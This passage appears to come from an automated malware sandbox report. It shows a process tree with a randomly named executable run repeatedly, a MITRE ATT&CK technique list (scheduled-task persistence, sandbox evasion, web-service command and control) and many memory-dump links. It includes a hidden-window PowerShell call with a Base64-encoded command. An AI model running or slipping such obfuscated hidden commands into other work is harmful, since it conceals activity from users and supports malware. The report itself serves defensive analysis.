  PID:2904

C:\Users\Admin\Documents\8ONHZ1StitLg6EooXre8T43U.exe
"C:\Users\Admin\Documents\8ONHZ1StitLg6EooXre8T43U.exe"
1⤵
PID:3156

C:\Users\Admin\Documents\8ONHZ1StitLg6EooXre8T43U.exe
"C:\Users\Admin\Documents\8ONHZ1StitLg6EooXre8T43U.exe"
1⤵
PID:5020

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:8736

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/296-189-0x00000247271D0000-0x00000247271D1000-memory.dmp

Download

memory/296-202-0x00000247278F0000-0x00000247278FB000-memory.dmp

Download

memory/296-228-0x0000024741A44000-0x0000024741A45000-memory.dmp

Download

memory/296-225-0x0000024741A42000-0x0000024741A44000-memory.dmp

Download

memory/296-229-0x0000024741A45000-0x0000024741A47000-memory.dmp

Download

memory/296-211-0x0000024741A40000-0x0000024741A42000-memory.dmp

Download

memory/296-217-0x00000247419B0000-0x0000024741A2E000-memory.dmp

Download

memory/356-368-0x000001E03D0D0000-0x000001E03D144000-memory.dmp

Download

memory/428-198-0x00000000011E0000-0x00000000011E1000-memory.dmp

Download

memory/428-187-0x0000000000CD0000-0x0000000000CD1000-memory.dmp

Download

memory/428-213-0x0000000002D40000-0x0000000002D42000-memory.dmp

Download

memory/848-424-0x0000020FCEE40000-0x0000020FCEEB4000-memory.dmp

Download

memory/1116-400-0x0000013602A80000-0x0000013602AF4000-memory.dmp

Download

memory/1432-438-0x0000020FC6500000-0x0000020FC6574000-memory.dmp

Download

memory/1696-232-0x00000000005D0000-0x0000000000618000-memory.dmp

Download

memory/1696-233-0x0000000000400000-0x000000000046E000-memory.dmp

Download

memory/1768-183-0x0000000000400000-0x000000000042E000-memory.dmp

Download

memory/1784-230-0x0000000005060000-0x0000000005061000-memory.dmp

Download

memory/1784-221-0x0000000000DC0000-0x0000000000DC1000-memory.dmp

Download

memory/1784-216-0x0000000077CD0000-0x0000000077E5E000-memory.dmp

Download

memory/1784-212-0x00000000009A0000-0x00000000009A1000-memory.dmp

Download

memory/1784-222-0x0000000005180000-0x0000000005181000-memory.dmp

Download

memory/1784-224-0x0000000005020000-0x0000000005021000-memory.dmp

Download

memory/1784-220-0x0000000005680000-0x0000000005681000-memory.dmp

Download

memory/1784-226-0x0000000005070000-0x0000000005071000-memory.dmp

Download

memory/1852-453-0x000001BEE8340000-0x000001BEE83B4000-memory.dmp

Download

memory/2212-234-0x0000000007A40000-0x0000000007A41000-memory.dmp

Download

memory/2212-468-0x000000007E660000-0x000000007E661000-memory.dmp

Download

memory/2212-197-0x0000000007B30000-0x0000000007B31000-memory.dmp

Download

memory/2212-223-0x00000000079A0000-0x00000000079A1000-memory.dmp

Download

memory/2212-255-0x0000000007B00000-0x0000000007B01000-memory.dmp

Download

memory/2212-283-0x0000000008B80000-0x0000000008B81000-memory.dmp

Download

memory/2212-208-0x00000000054D2000-0x00000000054D3000-memory.dmp

Download

memory/2212-235-0x0000000008340000-0x0000000008341000-memory.dmp

Download

memory/2212-231-0x00000000082D0000-0x00000000082D1000-memory.dmp

Download

memory/2212-192-0x0000000005260000-0x0000000005261000-memory.dmp

Download

memory/2212-205-0x00000000054D0000-0x00000000054D1000-memory.dmp

Download

memory/2424-445-0x000002180E7A0000-0x000002180E814000-memory.dmp

Download

memory/2440-378-0x000001F749D80000-0x000001F749DF4000-memory.dmp

Download

memory/2500-345-0x000001F1FAED4000-0x000001F1FAED5000-memory.dmp

Download

memory/2500-289-0x000001F1FA970000-0x000001F1FA971000-memory.dmp

Download

memory/2500-309-0x000001F1FAED0000-0x000001F1FAED2000-memory.dmp

Download

memory/2500-382-0x000001F1FAED5000-0x000001F1FAED7000-memory.dmp

Download

memory/2500-319-0x000001F1FAED2000-0x000001F1FAED4000-memory.dmp

Download

memory/2512-175-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/2512-162-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/2512-131-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/2512-180-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/2512-133-0x000000006B280000-0x000000006B2A6000-memory.dmp

Download

memory/2512-169-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/2512-132-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/2848-355-0x0000023527F70000-0x0000023527FE4000-memory.dmp

Download

memory/3040-314-0x0000000000DE0000-0x0000000000DF5000-memory.dmp

Download

memory/3928-327-0x000001BD46F10000-0x000001BD46F5D000-memory.dmp

Download

memory/3928-331-0x000001BD46FD0000-0x000001BD47044000-memory.dmp

Download

memory/3936-237-0x0000000000030000-0x0000000000039000-memory.dmp

Download

memory/3936-241-0x0000000000400000-0x0000000000455000-memory.dmp

Download

memory/4116-207-0x00000000001F0000-0x00000000001F1000-memory.dmp

Download

memory/4172-239-0x0000000000A50000-0x0000000000B24000-memory.dmp

Download

memory/4172-240-0x0000000000400000-0x00000000004D7000-memory.dmp

Download

memory/4220-259-0x0000000004E90000-0x0000000004EAD000-memory.dmp

Download

memory/4220-227-0x0000000004EB0000-0x0000000004EB1000-memory.dmp

Download

memory/4220-219-0x0000000004840000-0x0000000004841000-memory.dmp

Download

memory/4220-215-0x0000000000060000-0x0000000000061000-memory.dmp

Download

memory/4220-257-0x0000000004A50000-0x0000000004A73000-memory.dmp

Download

memory/4368-306-0x0000000000400000-0x0000000000414000-memory.dmp

Download

memory/4600-236-0x0000000000BE0000-0x0000000000BE1000-memory.dmp

Download

memory/4648-318-0x00000000000B0000-0x00000000000B1000-memory.dmp

Download

memory/4648-329-0x0000000004980000-0x0000000004981000-memory.dmp

Download

memory/4668-261-0x0000000002EE0000-0x0000000002EE2000-memory.dmp

Download

memory/4692-322-0x0000000004A71000-0x0000000004B72000-memory.dmp

Download

memory/4692-340-0x00000000030B0000-0x000000000310F000-memory.dmp

Download

memory/4728-248-0x0000000000EA0000-0x0000000000EA1000-memory.dmp

Download

memory/4780-260-0x0000000000680000-0x0000000000681000-memory.dmp

Download

memory/4780-277-0x000000001AE40000-0x000000001AE42000-memory.dmp

Download

memory/4780-253-0x0000000000240000-0x0000000000241000-memory.dmp

Download

memory/4788-315-0x00000000001F0000-0x00000000001F1000-memory.dmp

Download

memory/4864-375-0x0000000000400000-0x0000000000459000-memory.dmp

Download

memory/4864-371-0x00000000001D0000-0x00000000001FF000-memory.dmp

Download

memory/4880-413-0x0000000005580000-0x0000000005581000-memory.dmp

Download

memory/4880-366-0x0000000077CD0000-0x0000000077E5E000-memory.dmp

Download

memory/4904-316-0x0000000007DC0000-0x0000000007DC1000-memory.dmp

Download

memory/4904-295-0x0000000000EA0000-0x0000000000EA1000-memory.dmp

Download

memory/4904-311-0x0000000004E60000-0x0000000004E61000-memory.dmp

Download

memory/4904-313-0x00000000076C0000-0x00000000076C1000-memory.dmp

Download

memory/4904-281-0x0000000000550000-0x0000000000551000-memory.dmp

Download

memory/4968-406-0x00000000023C0000-0x00000000023C1000-memory.dmp

Download

memory/4968-459-0x00000000023C4000-0x00000000023C6000-memory.dmp

Download

memory/4968-428-0x00000000023C2000-0x00000000023C3000-memory.dmp

Download

memory/4968-398-0x0000000000550000-0x000000000069A000-memory.dmp

Download

memory/4992-300-0x00000000006D0000-0x00000000006D1000-memory.dmp

Download

memory/4992-351-0x0000000004FD0000-0x0000000004FD1000-memory.dmp

Download

memory/4992-324-0x0000000000E60000-0x0000000000E85000-memory.dmp

Download

memory/5036-326-0x0000000004DD0000-0x0000000004DD1000-memory.dmp

Download

memory/5036-334-0x0000000004C20000-0x0000000004CB2000-memory.dmp

Download

memory/5036-317-0x0000000000550000-0x0000000000551000-memory.dmp

Download

memory/5036-320-0x00000000052D0000-0x00000000052D1000-memory.dmp

Download

memory/5180-419-0x0000000004F90000-0x0000000004F91000-memory.dmp

Download

memory/5388-362-0x0000028CA0CD0000-0x0000028CA0D44000-memory.dmp

Download

memory/5396-347-0x0000000000400000-0x0000000000414000-memory.dmp

Download

memory/5488-463-0x0000000077CD0000-0x0000000077E5E000-memory.dmp

Download

memory/5548-434-0x0000000004F80000-0x0000000005586000-memory.dmp

Download

memory/5624-440-0x0000000004D00000-0x0000000004D01000-memory.dmp

Download

memory/5732-392-0x00000000001E0000-0x00000000001E1000-memory.dmp

Download

memory/5828-448-0x00000000056E0000-0x0000000005BDE000-memory.dmp

Download